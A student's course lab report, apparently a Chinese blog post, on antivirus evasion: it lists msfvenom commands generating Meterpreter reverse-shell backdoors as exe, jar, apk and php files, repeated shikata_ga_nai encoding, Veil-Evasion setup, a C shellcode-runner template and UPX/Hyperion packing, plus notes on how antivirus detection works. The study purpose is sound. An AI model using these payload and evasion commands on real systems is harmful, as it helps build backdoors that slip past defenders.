2019-2020-2 20175230 《网络对抗技术》Exp3 免杀原理与实践

一、实践目标

通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

二、实践内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具、使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧
  • 2.通过组合应用各种技术实现恶意代码免杀
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

三、预备知识

1.免杀概念

一般是对恶意软件做处理,让它不被杀毒软件所检测。

2.恶意软件检测机制

2.1基于特征码的检测

  • 恶意代码包含这样的数据
  • 正常程序不包含这样的数据
  • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库

2.2启发式恶意软件检测

  • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
  • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

2.3基于行为的恶意软件检测

  • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

四、实践步骤

任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀

(一)正确使用msf编码器

  • 1.将实验二中用msf命令生成的后门程序20175230_backdoor.exe放到VirusTotal或Virscan中扫描结果如下

  • 2.然后进行多次编码尝试降低检出率
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.128 LPORT=5230 -f exe > 20175230_backdoor2.exe

  • 3.再次进入两个网站进行扫描检测
    一次编码扫描结果

    十次编码扫描结果

(二)msfvenom生成如jar之类的其他文件

  • 1.生成jar文件,输入命令msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_JAVAbackdoor.jar

    扫描结果:检出率确实降低了不少

  • 2.生成apk文件,输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5230 R > 20175230_APKbackdoor.apk

扫描结果:

  • 3.生成php文件,输入命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.128 lport=5230 x> 20175230_PHPbackdoor.php

扫描结果:

(三)利用veil-evasion

  • 1.安装veil-evasion
mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

使用命令sudo apt-get install veil-evasion安装veil

下载好后用veil打开veil进行安装,安装时如果出现错误,可运行其提示的命令/usr/share/veil/config/setup.sh --force --silent
安装完毕后(按照组长的方法,我一次性就安装好了veil,中间出现了一次错误,然后运行了/usr/share/veil/config/setup.sh --force --silent后就可以了),进入veil

  • 2.命令use evasion命令进入Veil-Evasion

  • 3.命令use c/meterpreter/rev_tcp.py进入配置界面

  • 4.设置反弹连接IPset LHOST 192.168.80.128

  • 5.设置端口set LPORT 5230

  • 6.查看配置options

7.输入generate生成文件,接着输入生成的文件名 tx5230_veil

  • 8.按照文件的路径找到文件并进行扫描

  • 9.将tx5230_veil移入主机时,没有报错,360扫描时也没有报错

但运行此程序后,报错

(四)使用C + shellcode编程

  • 1.首先我们需要先生成一段shellcode
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=5230 -f c

  • 2.然后创建一个c文件txshellcode.c,将下述代码及新建的shellcode复制进去

unsigned char buf[] = 'shellcode(替换成上述步骤生成的shellcode)'

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

  • 3.放入网站扫描

  • 4.移入主机运行后报错

(五)加壳工具

  • 1..给上面的shellcode加一个压缩壳(UPX)
    upx txshellcode.exe -o txshellcodeupxed.exe

  • 2.将进行压缩壳后的文件上传到网站扫描

  • 3.加密壳处理:将之前进行压缩壳后的exe文件拷贝到/usr/share/windows-resources/hyperion/目录中(其他同学的hyperion在windows-binaries,但是我的kali中却在windows-resources)
    加壳命令wine hyperion.exe -v txshellcodeupxed.exe 5230-txshellcode_hyperion.exe

  • 4.进过加密壳处理的exe文件上传到网站扫描后,发现比加壳前文件还糟糕,不知道是不是加密壳出错了

(六)使用其他课堂未介绍方法:venom生成免杀木马

任务二 通过组合应用各种技术实现恶意代码免杀

方法:c+shellcode+压缩壳+加密壳
测试:360在运行之后可以检测到

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑:win7
杀软:

五、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码检测
    很多软件都会有各种特征码记成的特征库
    恶意软件的一个或几个片断就可作为识别依据。
  • 启发式恶意软件的检测
  • 基于行为的检测

(2)免杀是做什么?

通过处理,让恶意代码等逃脱入侵检测。

(3)免杀的基本方法有哪些?

  • 1.改变特征码
    加壳:压缩壳 加密壳
    用encode进行编码
    基于payload重新编译生成可执行文件
    用其他语言进行重写再编译(veil-evasion)
  • 2.改变行为
    尽量使用反弹式连接
    使用隧道技术
    加密通讯数据
    基于内存操作
    减少对系统的修改
    加入混淆作用的正常功能代码

(4)开启杀软能绝对防止电脑中恶意代码吗?

不能,我们这种菜鸟制作的木马有时候都能逃脱杀软,更别说技术大神了,而且恶意代码的样式、入侵方式多种多样,杀软无法针对所有的恶意代码,我们能做的就是加快病毒库更新速度。

六、实践总结与体会

此次实验可谓是历经坎坷,花费了很长时间;首先使用msfvenom时就出错,上网查找时,有各种各样的解答,试了好几种方法后才得以解决,但我看其他同学都没有出现此类错误,很郁闷。后来陆续出现了好几个错误,还好百度查找后解决了;都说该bug很烦,我觉得做此类实验也赶得上改bug了(可能有兴趣的不这样想),唯一让我感到开兴的是,我安装veil很快,也没有出错,也能正常运行。

七、实践遇到的问题

1.查询ip地址失败


解决方法:apt-get -y install net-tools即可

posted @ 2020-04-03 10:23  20175230滕星  阅读(200)  评论(0编辑  收藏  举报